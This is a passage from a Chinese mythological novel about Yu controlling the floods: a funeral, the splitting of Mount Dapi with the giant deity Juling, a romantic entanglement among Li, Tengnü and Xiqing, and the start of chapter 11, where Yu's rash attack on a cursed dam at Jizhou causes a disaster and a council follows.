就在火焰最旺之时,人群之中,不知是谁,开始低声吟唱起来。那调子古朴、苍凉,没有复杂的词句,只有简单的重复和真挚的情感,像是在呼唤,又像是在送别。渐渐地,更多的人加入其中,汇成一股低沉而有力的合唱。这是来自民间的、最原始的哀歌,是劳动者对同伴的追思: “嘿——哟——嗬—— 魂兮归来,归彼大荒! 血沃黄土,骨作山梁! 嘿——哟——嗬—— 水患未平,路还漫长! 英灵为炬,照我前方! 嘿——哟——嗬—— 魂兮安息,莫念故乡! 吾辈继志,誓导沧浪!” 歌声在群山间回荡,与燃烧的火焰、奔腾的黄河水声交织在一起,悲壮而充满力量。它唱出了失去战友的痛,也唱出了继续前进的勇。许多硬汉都忍不住红了眼眶,岳盾紧紧攥着怀中女儿给的那枚鸡心石,砺咬紧了牙关,阿牛默默擦去脸上的泪水。 皋陶上前一步,将北斗刑圭举向空中,清冷的星辉洒下,与火光相映。“逝者已矣,生者如斯。愿天道昭昭,护佑英魂;愿吾辈同心,克成伟业!” 火焰渐渐熄灭,留下三堆灰烬,随风飘散,融入脚下的大地。葬礼结束了,但一种更加凝聚、更加坚定的力量,在每个人心中生根发芽。牺牲没有让他们退缩,反而淬炼了他们的意志。 禹望着那飘散的青烟,望向远方依然阻塞河道的大伾山,眼神重新变得锐利而坚定。他知道,休息结束了。活着的人,必须带着逝者的期望,继续未竟的事业 —— 而这事业的第一步,便是攻克那座拦在河道前的大伾山,此山因相柳千年盘踞,早已被邪毒浸透肌理,坚硬脆弱并存,寻常开凿手段进展缓慢。 开山工程启动之后,禹尝试挥动开山神斧,然而神斧在诛杀相柳一役中耗力过巨,灵光略显黯淡,虽仍锋锐无匹,但欲独自劈开这绵延巨山,非短期之功。砺率领民夫日夜不停地清除山麓的毒蚀碎石,开挖导流沟渠,但面对主山体,犹如蚂蚁啃噬巨象,效率堪忧。禹心中焦急,淮水之患如芒在背,时间不等人。 就在此时,天际传来隆隆雷声,并非雨兆,而是有巨灵踏云而来。只见一尊巨神,顶天立地,披甲持斧,周身环绕着磅礴的浩然正气,正是曾助禹劈开龙门山、导河而下的巨灵神。他落在营地之前,大地为之震颤,目光首先投向了那片被息壤包围、五帝台镇压的毒池,眼中流露出难以掩饰的惊异与凝重。 “禹!”巨灵声如洪钟,却带着前所未有的敬重,“我在天界感应到北斗星力大盛,又察觉此地冲霄怨毒之气骤然消散,便知有大事发生。匆匆赶来,不想……不想司空竟已诛灭了相柳那厮!”他的目光扫过周围尚未完全平息的毁灭痕迹,以及那巍然矗立的五色土高台,语气中充满了难以置信。“相柳乃上古凶顽,其毒足以腐化天地,连吾等正神亦忌惮三分,等闲不愿招惹。司空竟能以凡人之躯,行此惊天之举,巨灵……佩服之至!”他对着禹,郑重地抱拳一礼。这一礼,是强者对强者的认可,是神明对凡人伟力的由衷赞叹。 禹连忙还礼,并无骄色,只是沉声道:“巨灵尊神过誉。诛杀相柳,非禹一人之功,乃皋陶士师以北斗刑圭镇邪,众将士舍生忘死,乃至牺牲性命,方能成事。如今凶顽虽除,然此山阻塞河道,上游之困未解,还需尊神再次鼎力相助。” 巨灵神慨然应诺:“份内之事!相柳既除,此山邪毒已失根源,劈开它便少了诸多顾忌。观司空之神斧,灵光有待恢复,此番便由我主攻,司空以神斧精准引导,定可事半功倍!” 两人遂一同详细勘察山势。巨灵神巨目如炬,指出山体因长期受相柳邪气侵蚀和黄河水力冲击,内部结构已有隐裂,其中一处岩层最为薄弱,正是最佳的突破口。禹凭借对水势的深刻理解,确定了劈开山体后河道的最佳走向,以确保水流顺畅,不致产生新的险滩漩涡。 消息不胫而走。先是附近的残存村落,然后是更远地方逃难的百姓,他们听说平水土之师诛杀了相柳魔物,又要请来巨灵神劈山导河,无不欢欣鼓舞,扶老携幼,从四面八方汇聚到大伾山周围的安全高地上。他们眼中噙着泪水,脸上却洋溢着多年未见的希望光芒。岳卫锐士们维持着秩序,他们虽伤痕未愈,但腰杆挺得笔直,守护着这些劫后余生的黎民,心中充满了自豪与责任。 羲青,这位一直默默跟随、以刀笔记录治水伟业的女子,此刻也站在一处视野开阔的山坡上。她摊开新的兽骨,神情专注而肃穆。她要记录下这必将载入史册的一刻:不仅是工程的壮举,更是希望的重生。她看到,在五帝台神光与息壤之力的持续作用下,那片曾被死亡笼罩的土地边缘,竟有顽强的绿芽冲破略显焦黑的地表,预示着生机的回归。远处山林中,消失了许久的鸟鸣声再次响起,一些胆大的小兽也开始探头探脑。更令人欣喜的是,新开辟的导流渠中,已有清澈的水流注入,隐约可见几尾小鱼在试探性地游动。大地,正在从创伤中缓慢苏醒。 选定吉时,禹与巨灵神各就各位。禹立于选定突破口附近的一处高岩之上,手中开山神斧虽未复全盛之光,却与他心意相通,微微震颤,指引着力量的方向。巨灵神则深吸一口气,身形仿佛又膨胀了几分,他沉腰坐马,双手紧握那柄宛如山岳的巨斧,磅礴的神力开始汇聚,周身空气都因能量的凝聚而扭曲起来。 “司空,指引我!”巨灵神怒吼一声,声震九霄。 “尊神,由此处,顺势而下!”禹将神斧向前一挥,斧尖射出一道凝练的金光,精准地烙印在山体那道隐裂之上,如同为巨灵神的雷霆一击标定了靶心! “开——!” 巨灵神倾尽全力,巨斧带着开天辟地之势,沿着禹标记的轨迹,狠狠劈下! “轰隆隆——!!!” 一声远超雷霆的巨响炸开!仿佛整个天地都为之震动。只见大伾山体上,一道刺目的光华闪过,随即山石崩裂,那道巨大的裂缝以肉眼可见的速度向下、向两侧蔓延!碎石如雨般坠落,烟尘冲天而起,但在禹引导的神光约束下,崩裂的范围被精确控制,并未殃及周围观礼的百姓。 当烟尘渐渐散去,一幕奇景呈现在所有人面前:巍峨的大伾山,已被从中劈开一道宽逾千尺、深不见底的巨大峡谷!黄河之水早已在上游蓄势待发,此刻如同挣脱了万年枷锁的黄色巨龙,发出了惊天动地的咆哮,从峡谷中奔腾呼啸而过,水流湍急却方向明确,直向东方大海而去! 寂静,死一般的寂静!随即,爆发出震耳欲聋的欢呼声!百姓们跪倒在地,向着禹和巨灵神的方向叩拜,泪水混着笑容,他们看到了家园重建的希望,看到了活下去的光明。岳卫锐士们也不禁高举兵器,发出胜利的呐喊。砺和民夫们激动地拥抱在一起,他们的汗水没有白流。 羲青迅速在兽骨上刻下:“禹治水,诛相柳于大伾,立台镇邪。遂与巨灵神合力,劈山导河,水患遂平。草木复苏,鸟兽归林,鱼虾复游,万民归心,生机复现于天地之间。” 她的笔端,充满了敬畏与感动。 巨灵神收斧而立,看着奔腾入海的黄河,又看向身旁虽疲惫却目光坚定的禹,由衷赞道:“司空之功,利在千秋,泽被万代!此裂谷,当名‘大禹神道’,以彰伟绩!” 禹望着畅通的河道,看着欢腾的百姓,心中百感交集。他知道,这仅是黄河治理的关键一役,南方淮水之患仍在等待着他。但此刻,大伾山通的不仅仅是河水,更是民心,是希望之道。他转身,对巨灵神,也对所有参与其中的人,深深一揖。 “此非禹一人之神道,乃万民同心之道,是天地正气之道!” 自此,大伾山畔,黄河安流,而“大禹神道”之名,与诛魔导河的传说,一同永世流传。 诛魔导河,大功告成。禹命砺率领民夫及五小龙,继续负责大伾山工程的后续加固与河道清理工作。 诛魔导河的狂喜与疲惫,如同潮水般退去,留下的是大伾山麓异样的宁静。空气中仍残留着息壤的土腥与淡淡毒沼被净化后的怪异气息,但也开始混杂进新生草木的微香和黄河水汽的清新。庆祝的篝火已然熄灭,只有零星火堆余烬闪烁着红光,映照着横七竖八、陷入沉睡的疲惫身影。连续数日的精神紧绷与体力透支,使得这短暂的安宁显得格外珍贵,也格外容易让人卸下心防。 砺独自坐在一块远离营地的巨岩上,望着月光下奔流不息的新河道,心中五味杂陈。胜利的豪情犹在胸中激荡,但目睹战友牺牲的悲恸、与相柳那种灭世巨物对抗的惊悸,以及未来治水之路的漫长,都像无形的巨石压在他心头。他是一名正值盛年的男子,有着炽热的情感和蓬勃的欲望,此刻,在极度紧张后的松懈中,一种深切的孤独感和对温暖、对慰藉的渴望,如同野草般在心底疯长。他不由自主地想起了羲青,那个如同山间清泉、月下修竹般的女子。她的聪慧、冷静,以及那份与他心灵相通的默契,是他内心深处最珍贵的寄托。然而,上次他鼓足勇气,以治水建功后便向她求婚时,羲青却婉拒了。她并非无情,眼神中亦有挣扎,但她坦言,目睹了太多女子因生育而凋零,对婚姻与生子有着根深蒂固的恐惧,更不愿被家庭牵绊,她希望像现在这样,跟随司空走遍天下,驯服洪水,同时记录这波澜壮阔的时代。砺理解她的志向,却无法掩饰那份深刻的失落。那份爱慕,如同仰望皎月,清辉朗朗,却遥不可及。 “砺,这么晚还不歇息?”一个温柔而带着关切的声音在他身后响起。是藤女。她端着一碗温热的汤水走来,身上带着草药和泥土混合的清新气息。与羲青的清冷不同,藤女就像山野间蓬勃的藤蔓,热情、坚韧、充满生命力。砺知道,藤女对他有好感,那是一种毫不掩饰的、火辣辣的目光。 “心里有些乱,睡不着。”砺有点慌乱。 藤女在他身边坐下,没有说话,只是安静地陪着他。月光洒在她健康红润的脸庞上,勾勒出柔和的线条。她能感受到砺内心的波澜,那种劫后余生带来的空虚与躁动。她伸出手,轻轻握住了砺因长期握持工具而布满厚茧的手掌。那触感温暖而真实,带着劳作的粗糙与生命的活力。 “都过去了,砺。我们还活着,河也通了。”藤女的声音低沉而带着一种抚慰人心的力量。 砺转过头,对上她明亮而直率的眼睛。在那双眼睛里,他看到了毫无保留的倾慕、理解,还有一种他此刻极度渴求的、实实在在的温暖。没有羲青那般需要他小心翼翼揣摩的复杂心绪,没有关于未来与责任的沉重话题,只有眼前的、触手可及的慰藉。 一股热流,猛地冲上了砺的头顶。长期压抑的情感,对温存的本能渴望,在这一刻冲垮了理智的堤防。他反手握住了藤女的手,力道之大,让她微微吃痛,却并未挣脱。 “藤女……”他的声音沙哑,眼中燃烧着野性的火焰。 藤女的脸颊飞起红霞,她没有退缩,反而更靠近了他,眼中闪烁着同样炽热的光芒。她喜欢砺,喜欢他的勇猛,他的担当,甚至喜欢他此刻的莽撞。她从不奢求婚姻或承诺,她只知道,此刻,她想温暖这个看似坚强却内心孤独的男人。 没有更多的言语,情感的洪流已然决堤。砺近乎粗暴地将藤女拉入怀中,两人滚倒在带着夜露的草地上。月光朦胧,为他们披上了一层暧昧的轻纱。 在这意乱情迷的时刻,砺的脑海中却不由自主地浮现出羲青清冷的面容。那份求而不得的遗憾,与此刻怀中真实的温暖交织在一起,形成了一种撕裂般的快感。他失控地低吼出声:“羲青……!” 这个名字如同冰水,瞬间浇熄了砺心头的火焰。激情如潮水般退去,理智回笼。他僵住了。 寂静在两人之间蔓延,只剩下粗重的喘息声和黄河不息的奔流。 砺不敢看藤女的眼睛,他慌乱地起身,抓起散落的衣物。巨大的兴奋感已然消失,取而代之的是排山倒海般的自责与羞愧。他做了什么?他利用了藤女纯粹的热情,却在最亲密的时候呼唤着另一个女子的名字!这对藤女是何等的侮辱与伤害!他又如何对得起心中那份对羲青的、或许永远无法实现的倾慕?他觉得自己卑劣、龌龊,不配得到任何人的真心。 “我……对不起……”砺语无伦次,像是被火烧着一般,仓促地套上衣服,甚至不敢回头再看一眼藤女,便如同逃犯般,跌跌撞撞地冲入了黑暗的树林深处,落荒而逃。 看着他狼狈远去的背影,藤女缓缓坐起身,没有立刻穿衣。月光照在她光滑的肌肤上,泛起清冷的光泽。她抱着膝盖,将脸埋了进去,肩膀微微抽动。滚烫的泪水,终于还是忍不住滑落下来,滴落在带着两人体温的草地上。 她何尝不知道?她一直都知道砺心里装着的是羲青。那是与他青梅竹马、精神契合的女子,是自己无论如何也无法取代的。但她从不奢求取代,她只是……只是忍不住想靠近他,温暖他,在他需要的时候给予他一切。哪怕只是片刻的欢愉,哪怕他心中想的是别人,她也心甘情愿。她不求回报,不求名分,只希望在他生命的某一刻,自己曾真实地存在过,给予过。 可是,当亲耳听到他在那种时刻呼唤别人的名字,心还是会像被针扎一样疼。那是一种明知结局却依然飞蛾扑火后的灼伤。她无声地哭泣着,为砺的痛苦而哭,也为自己的痴傻而哭。夜色深沉,吞没了砺逃离的身影,也掩盖了一个女子无声的伤心与那份不求回报、却终究会痛的爱情。 11. 第11章:汾水破障 若说秋冬是征伐山川的战场,那么春夏洪水泛滥期,便是禹经营人心、巩固后方、规划蓝图的时节。这七年来的每一个春夏,他都未曾真正休息。 当暴雨倾盆,河流怒吼,无法施工时,禹便带领部分核心成员,奔走于各部落之间。那些因水患而流离失所、因资源而争斗不休的部族,需要安抚与整合。 在一个濒临溃散的部落,禹站在泥泞的高台上,声音穿透雨幕:“洪水无情,人有志!孤身堵穴,不过杯水车薪;万众一心,方能重定山河!我禹在此立誓,必导洪入海,还尔等良田家园!但需尔等勠力同心,共赴时艰!”他的话语没有华丽辞藻,却带着与民同苦的真诚与不容置疑的决心。他恩威并施,调解纠纷,分配存粮,将涣散的人心逐渐凝聚到治水大业之下。 同时,他也体恤部下辛劳。“岳盾、皋陶、伯益,”他点名道,“你等随我多年,未曾归家。今夏水大,工程暂停,准尔等轮流返乡探亲,以慰家人。” 岳盾感激涕零,他思念家中妻儿;皋陶惦记着不仅要兼顾治水团队与驻地治安,更需返京向舜帝商议全国律法修订之事;伯益则心中泛起对故乡草木的眷恋,还有…… 对凤鸟的些许不舍。凤鸟得知伯益将归,眼中亦闪过一丝失落,只是她也没半分理由拦着。 而禹自己,却从未提起归家。春夏时节,他常常亲自跳入齐腰的淤泥中,与留下的人员一同疏浚局部河道,加固堤防。他身材高大,却因过度劳累而瘦削,小腿因长期浸泡在水里而毛发脱落,泥浆沾满全身,与寻常民夫无异。只有那偶尔抬头望向苍穹、思索山川大势的眼神,才显露出他非凡的身份与抱负。 弃和女儿百草,则利用这段时间培育耐涝作物,采集药材,救治因水患而生病受伤的民众。看着女儿日渐成熟却仍待字闺中,弃心中不免忧虑。一日,他试探着问:“百草,你看巫盼重伤,辛夷不离不弃,亦是良缘。你年纪不小,可曾想过……” 百草正在捣药,头也不抬,爽利地答道:“阿爹,您就别操心了。我现在跟着您治病救人,挺好。”她语气豁达,但弃听出了一丝隐藏的伤感。他叹了口气,不再多言。 舜摄政八年,禹治水第六载,冬。 大伾山的血色黄昏已然远去,相柳的污血被深埋于九仞之下,巨灵神撼山的伟力化作了疏导洪流的臂助。黄河,这条曾经咆哮不羁的巨龙,流过这片被神人之血洗礼的土地时,竟显出了几分驯顺,沿着新辟的宽阔河道,浩荡东北而去,直注溟海。 然而,禹的脚步未有片刻停歇。大伾山工程进入收尾,他的目光已投向更辽阔的山河。天下水患,盘根错节,黄河主干初通,犹如仅疏通了人体主脉,若遍布四方的支流淤塞不通,则痼疾仍存。秋冬水枯,正是治水的黄金时节。 此番,他的目标本是西北方的汾水与西南方的洛水。但一个迫在眉睫的消息,让他改变了行军路线:位于黄河与汾水之间的冀州之野,水患异常,怨气冲天,当地部落几近绝望。 平水土之师溯汾河而上,如同一条在洪荒疮痍中艰难前行的坚韧泥龙。越往北行,洪水肆虐的痕迹虽渐稀,但一种更为深沉、源自上古的破碎与荒凉,却如同噩梦般缠绕着这片土地——冀州之野。 这里的大地仿佛被巨神以无匹狂暴的力量反复捶打、撕裂。巨大的裂谷深不见底,突兀的断崖如同被强行掰断的苍白骨茬,焦黑的土壤上散落着无数烙印着巨大爪痕、雷击纹路或腐蚀斑痕的怪石。空气中弥漫着冰冷刺骨、粘稠得几乎令人窒息的怨念,这怨念源自黄帝与蚩尤那场惊天动地的战争,无数战死者不甘、暴怒、绝望的魂灵被禁锢于此,万年不散,与地脉纠缠,化作了水患最深沉的根源。风声穿过嶙峋石缝,发出呜咽尖啸,细细听去,竟似夹杂着远古战场模糊的金戈交击与垂死哀嚎。 队伍中的气氛愈发凝重。岳卫战士们警惕地环视四周,仿佛阴影中随时会冲出无形的敌人。 羲青手中的墨玉星盘光芒极不稳定,时而微弱如风中残烛,时而剧烈闪烁甚至发出轻微的嗡鸣。盘面上那些原本应该清晰流转、指示地脉水气走向的细微光丝,此刻如同被投入沸水的蛛网,杂乱无章地扭动、碰撞、断裂。“这里的天地气机彻底混乱了,”她声音带着压抑不住的疲惫,对身旁的禹低语,“强烈到可怕的怨戾死气,不仅淤塞了水窍,更严重干扰了星盘的感应。水窍的核心必然就在前方那片盆地,但其精确的‘窍眼’,被这股狂暴的能量场遮蔽了,星盘无法穿透。” 禹面色沉凝如水,微微颔首。他怀中的颛顼玄圭传来一阵阵持续而清晰的悸动,不再是轻微的警示,更像是一种共鸣般的震颤。伯益肩头的几只小鸟早已吓得炸起羽毛,死死抓住他的衣襟,发出哀哀的惊鸣。弃小心翼翼护着的祝余草苗,也肉眼可见地萎蔫下去。 在星盘剧烈颤动的指引下,队伍最终抵达了一片被环形峭壁包围的巨大盆地。盆地中央,是一潭望之令人心悸的幽深水域。水面呈现出一种极不自然的墨黑色,平滑如镜,死寂得没有一丝涟漪,仿佛一块巨大的、吞噬一切光线的黑曜石,散发着透入骨髓的阴寒之气。 而最令人骇然的,是横亘于深潭出口处的那道巨大的天然壅塞体。它是一座由无数断裂的青铜戈矛、破碎的战车构件、巨大而扭曲的兽骨混杂着山岩泥土,经万年冲刷、挤压形成的可怕坝体。它像一道丑陋无比的伤疤,又像一座混乱的坟墓,死死扼住了水流的自然通道。 更可怕的是,从这庞杂壅塞体的无数缝隙中,正持续不断地渗出粘稠如沥青、漆黑如墨的液体——那便是蚩尤战败后,其滔天的不甘与愤懑,混合着无数战死者绝望的怨气,实质化而成的“黑血”。它们缓缓流淌,滴落深潭,渗入四周的土地,所触之处,连岩石都被腐蚀得“滋滋”作响,迅速化为死地。 “就是这里了。”羲青的声音带着力竭后的沙哑,“水窍被这怨戾之物彻底镇封,星盘只能指出大略范围,无法精确定位那关键的‘窍眼’。” 面对这前所未见的困境,禹的心神承受着巨大压力。连年治水的疲惫,对远在阳城妻儿的深切牵挂与愧疚,以及对尽快平定天下水患的迫切渴望,交织在一起,削弱了他一贯的冷静判断。 他错误地认为,此地的淤塞本质仍是物理性的,只是规模更大、更坚固。既然星盘暂时失效,或许可以凭借神农石耜蕴含的磅礴地火之力,强行净化甚至炸开那怨戾壅塞体,为后续疏导打开缺口。这个决定,掺杂了他个人急于求成的心态,忽略了对上古怨念这种非实体能量的谨慎评估,也高估了神农石耜在此等环境下的可控性。 “需以雷霆之力,破此污秽!”禹沉声道,眼中闪过一丝决绝,甚至是一丝被压抑已久的焦躁。他未听从巫盼建议的先行祭告安抚,也未等羲青尝试以其他方式稳定星盘。 他排开众人,大步走向潭边,运转神力,全力催动神农石耜!石耜爆发出灼热刺目的红光,如同一道地心熔岩凝聚的火柱,轰然射向那翻腾着黑气的壅塞坝体核心! 至阳至刚的地火,撞上了至阴至邪的怨戾黑血! 预期的净化并未发生,反而像是点燃了最烈性的火药! “轰隆隆——!!!” 一场毁天灭地的剧烈爆炸,猛地从潭心爆发!恐怖的能量冲击波混合着漆黑的潭水、破碎的兵器骨骸碎片、以及浓郁到化不开的怨戾黑气,呈毁灭性的环形向四周疯狂席卷! “保护司空!”岳盾怒吼,巨大的盾牌死死顶在前方,被冲击波震得咯吱作响。但外围的一些民夫和物资则被瞬间掀飞! 禹首当其冲,被那巨大的反震力狠狠抛飞出去,神农石耜脱手飞出,红光瞬间黯淡。幸得砺扑上前,拼命将禹拖离爆炸核心。 更可怕的灾难紧随其后!爆炸产生的狂暴能量,狠狠冲垮了深潭附近一处本就摇摇欲坠的古老堤坝!积蓄的潭水混合着漫天黑血与诡异的能量,如同挣脱囚笼的洪荒恶兽,向着下游一处低洼地带汹涌扑去——那里,有一个名叫“桑羊里”的村落! 尽管皋陶此前已严令村民避往高处,避免了人员伤亡,但洪水过后,桑羊里村的数十间茅屋、圈舍、粮秣尽数被毁,田地也被黑血污染,化为焦土废墟! 望着下游升起的滚滚黑烟与冲天火光,以及山崖上村民绝望的哭喊与咒骂,禹挣扎着爬起,浑身泥污,呆呆地看着这一切。沉痛的懊悔与前所未有的无力感狠狠刺入他的心神!这是他治水以来第一次重大的、因自身判断失误导致的灾难性后果! 就在这爆炸能量最狂暴、众人心神俱震的瞬间—— “嗡!” 盛放颛顼玄圭的玄玉匣自禹怀中自动飞出,匣盖开启!颛顼玄圭悬浮空中,爆发出前所未有的悲悯清辉,疯狂吸收着逸散的无尽怨魂哀鸣与村民的惊惧诅咒!圭身光芒剧烈流转,内部星河流转的异象变得无比清晰活跃,旋即投射出一幅巨大、精密的立体图谱——冀州古河道脉络与水窍节点图! 而其中,一条被厚重历史淤泥和怨气湮没的古老河道,被玄圭的力量骤然高亮标注出来!几乎同时,羲青手中的墨玉星盘受到玄圭力量的激发,盘面上狂暴的光丝一定,指针死死指向了那条古河道上游的一个具体点位! 宏观指引与微观定位,在这一刻完美呼应!颛顼玄圭,竟在吸收了巨量负面能量后,于危急关头自行觉醒,显化出了通往解决方案的关键路径!但这等显化,耗尽了玄圭此次积累的灵性,不可复常。 当夜,平水土之师在距离战墟数里外一处背风、近水的缓坡扎营。气氛压抑得如同凝固的琥珀。核心成员齐聚于禹那简陋却戒备森严的营帐,火光跳跃,映照着每一张沉凝的面孔。 禹首先开口,声音沙哑却竭力保持沉静:“今日之挫,罪责在我。急功近利,未察根源,险些万劫不复。玄圭显化,星盘定位,虽指明新路,然代价惨重,更失民心。此教训,刻骨铭心。”他手中紧握着砺冒死寻回、擦拭干净的神农石耜,指节因用力而发白。 皋陶肃然接口,声音如冰冷的玉石:“司空不必揽全责。非常之局,行险在所难免。然律法昭昭,功过皆需记录。此次事故,已记录在案。当下首务,乃善后。我已加派人手,协助桑羊里村民清理废墟,统计损失,并从农正处调拨部分应急粮秣先行发放,稳定人心。然民怨已起,恐非粮秣可平。” 弃满面愁容,搓着手道:“粮秣尚可支撑,只是…那黑血污染过的土地,怕是几年都长不出庄稼了。桑羊里村民往后生计……唉。所幸士师预警及时,无人伤亡,已是大幸。” 伯益眼神中闪烁着后怕与兴奋交织的光芒:“那玄圭所示古河道,其走向精妙绝伦,竟完美避开如今地脉怨气最炽之处,似循着某种更古老、更和谐的地气脉络而成!风伯残灵凶猛,其盘踞点恰在古河道入口侧上方,或许……正因古河道淤塞,地气不通,才使其怨念有隙可乘,积聚不散?冒险勘探入口,虽危亦必需。” 羲青面前铺开一片兽骨,刻刀飞速移动,已将玄圭投射的宏大地图与星盘锁定的精确点位结合,勾勒出一幅详尽的周边地形与水脉草图。她接口道:“伯益所言极是。玄圭显宏图,星盘指微窍。二者呼应,方为完整。然玄圭此次显化,耗能巨大,其内灵韵已沉寂,短期内恐难再现神异。后续勘探疏导,仍需以我之星盘指引为主。只是……”她指尖轻点星盘表面一道细微的、新产生的能量紊乱纹路,“今日冲击猛烈,星盘内蕴的星力与地气流转稍受震荡,需一夜时间静置,以天地自然之气慢慢抚平,明日方能恢复精准。” 巫盼脸色苍白道:“那风中残灵,疯狂暴虐之下,其核心仍是滔天的战恨与不甘。我感知到……那不仅仅是风伯自身的陨落之怨,更夹杂了无数战死者的绝望呐喊。若要疏通此地,绝非仅破土动石之工程,恐需先化解其执念。我愿再试,然需筹备更周全的祭仪,所需器物、祭品,皆需时间准备。” 禹聆听众人之言,目光扫过……一张或凝重、或忧虑、或坚定的面孔,沉声道:“诸位所言,皆切中要害。工程、地脉、人心、怨念,四者纠缠,缺一不可。明日,砺,你带队,伯益、飞猿协助,勘探古河道入口地形,评估疏通可行性与工程量。务必谨慎,远离风伯残灵活跃区,以侦查为主,不可贸然行动。羲青,尽快稳定星盘。巫盼,就有劳你安排筹备祭仪所需,列出清单,交予农正协调。士师,营防律令及与桑羊里村民的沟通安抚,重中之重,拜托您了。农正,后勤保障,尤其是祭仪所需,务必满足。”他深吸一口气,“我等需吸取教训,步步为营,弥怨与导流并进,方有一线希望。” 会议结束,众人领命而去,帐内只剩下跳跃的火光与沉甸甸的压力。禹独自坐着,手指无意识地摩挲着神农石耜粗糙的柄身,父亲鲧的身影、羽渊的玄鱼、舜的嘱托、村民的哭喊、还有那黑潭中无尽的怨魂……种种画面在他脑中交织,几乎要将他压垮。 就在这时,帐帘被再次掀开,一个高大的身影去而复返,是砺。 他走到禹的身前,并未立刻说话,只是拿起火盆边的陶壶,倒了碗温水,递到禹的手中。禹下意识接过。 “司空。”砺的声音低沉,“还在想白天的事?” 禹抬起头,眼中布满血丝,苦涩道:“如何能不想?我一意催动神力,非但无功,反酿大祸,家园尽毁,民心离散……这与我父当年……” “不一样。”砺打断了他,语气斩钉截铁,“鲧伯当年,是以息壤强封,欲以一己之力逆天改势,最终功败垂成。而今日,我们是在探寻疏导之道,虽有挫折,但玄圭已显明前路,星盘亦锁定窍眼。这并非失败,而是用极大的代价,换来了至关重要的方向。” 他顿了顿,目光扫过禹紧握的石耜:“舜赐下此神农石耜,是让你开山辟土,疏导江河,不是让你用来与万年怨灵硬碰硬的。工具用错了地方,再锋利也会卷刃。今日之事,是教训,让你我皆知此地铁板之硬,非蛮力可破。但这并非绝路。” 砺的目光投向帐外沉沉的夜色,仿佛能穿透黑暗,看到那片狰狞的战墟:“治水,尤其是治理这等被上古恩仇诅咒之水,本就是一场战争。是战争,就有伤亡,就有牺牲,就有意想不到的挫折。重要的是,主将不能先乱了心神。” 他转回头,目光灼灼地看着禹:“你是司空,是平水土之师的首领。你乱一步,全军皆乱;你疑一刻,万民皆疑。今日士师能迅速稳住局面,安抚村民,正是因你先前建立的律令与威信仍在。皋陶记录事故,是为明律法、警后人,而非只责难于你。” “可是桑羊里……”禹的声音依旧沉重。 “家园毁了,可以重建。田地污了,或许有法可净。人心若散了,就真的完了。”砺的声音提高了几分,“眼下,玄圭星盘指路,巫盼欲沟通怨灵,羲青伯益勘探地形,士师农正稳定后方……我们并非无计可施,反而比之前盲目摸索时,拥有了更清晰的目标和更多的手段。你需要做的,不是沉溺于自责,而是像方才分派任务时那样,稳住心神,将我等之力拧成一股,指向那唯一的破局之点——古河道!” 他伸出手,重重拍了拍禹的肩膀,力量很大,带着不容置疑的坚定:“禹,抬起头来。你是鲧的儿子,但你更是得了伏羲玉简、伏羲开山神斧、神农石耜、颛顼玄圭,乃至河精授图、玄龟负书所托之人!你的路,注定与你父不同。眼前的难关,闯过去,便是海阔天空!” 禹怔怔地看着砺,看着这位一路走来始终沉默坚韧、如同大地般可靠的伙伴。他眼中沉重的阴霾渐渐被砺话语中那股不屈不挠的硬气驱散了些许。他深吸一口气,胸膛再次缓慢而有力地起伏,紧握着石耜的手指渐渐松开,又重新握紧,却不再是绝望的用力,而是恢复了某种决断的力量。 “你说得对。”禹的声音依旧沙哑,却多了一份沉静,“代价已付,前路已显,再无踌躇的余地。接下来,一步都不能错。” 砺见禹眼神重聚光芒,点了点头,不再多言,转身大步离去。 帐内重归寂静,但那股几乎将人压垮的绝望感,已然消散。禹将碗中温水一饮而尽,目光再次落在地图之上。 帐外,营地已有序运转起来。岳盾指挥着岳卫锐士布防、巡逻、协助安置受惊的民夫,一切井井有条。鸣镝在高处警戒,目光锐利。土根、犀渠等人则在检查武器盾牌,沉默中透着坚毅。飞猿和泽虎在营地外围布置简易的警示陷阱。巫盼正微弱地坐在自己小帐内的榻上,吩咐着辛夷和山魈准备三牲,为明日的祭仪做准备。弃已经开始清点物资。皋陶则带着两名战士,打着火把,再次走向桑羊里村民临时避难的崖洞方向,他的背影在夜色中显得格外挺拔而孤直。 营地边缘,砺找到了正在仰望星空、并在兽骨上记录今日星象轨迹与地脉异常波动的羲青。他沉默地站在一旁,没有打扰,直到她轻轻放下小刀,揉了揉发酸的手腕。 “星力轨迹……还乱吗?”砺的声音低沉。他不懂那些复杂的星轨,但他知道这东西对她、对治水有多重要。 羲青微微摇头,目光仍看着星空:“正在平复。记录今日之事,比稳定星盘更重要。”她的眼神专注而坚定,“这些挫折、异象、地脉变动,乃至风伯残灵的嘶吼……都必须详尽记下。后人当知治水之艰,知天地之威,亦知人族之韧。” 砺因之前与藤女一次意外的肌肤之亲(源于苦闷下的冲动),心中充满对羲青的愧疚,他看着羲青,犹豫了很久,终于开口:“青儿,”砺的声音干涩,“我……做了错事。与藤女……我不知该如何面对你。” 羲青身体微微一颤,没有回头,良久,才平静地说:“我知你心中苦闷。藤女是个好女子。” 砺激动道:“不!青儿,我心中只有你!那次的错误,让我更清楚,我只要你!” 羲青转过身,月光下她的脸庞带着凄然与决绝:“砺,正因如此,我才更不能……我早已服下蓇蓉草,此生……无法生育了。在华山时,我便已绝了念想。” 如晴天霹雳!砺愣在当场,难以置信地看着她。瞬间,他明白了羲青当年的决绝背后,是何等惨烈的自我牺牲!震撼过后,是滔天的心疼与更坚定的情意。砺猛地抓住羲青的手,急促地说:“我不在乎!羲青,我砺此生,只认你一人!有无子嗣,有何相干?我只要你活着,在我身边!” 羲青用一个吻堵住了砺的嘴唇:“我知道……” 此情此景,却被悄悄前来、本想告诉砺自己可能怀孕了的藤女看见。她如坠冰窖,心凉了半截。原来,砺的心始终在羲青那里,自己的痴心,不过是一场幻梦。她默默退开,泪水无声滑落。 夜色深沉,远处的壅塞战墟方向依旧死寂,但那死寂中仿佛蕴含着无数双眼睛的凝视与无声的咆哮。营地的火光无法完全驱散这弥漫天地的阴冷与怨念。颛顼玄圭在玉匣中沉寂,仿佛耗尽了所有力量。羲青的墨玉星盘在她身边微微散发着稳定的、属于星辰的冷光,如同黑暗中的灯塔,渺小却坚定,指引着充满未卜与艰难的前路。 三日之后,天气略略放晴,铅灰色的云层仿佛被一只无形巨手撕开了些许缝隙,漏下几缕有气无力的天光,勉强照亮了冀州之野这片死寂的战场遗迹。空气中依旧弥漫着那股冰冷粘稠的怨念,但相较于之前的狂暴,似乎沉淀了些许,仿佛暴风雨来临前的短暂平静。 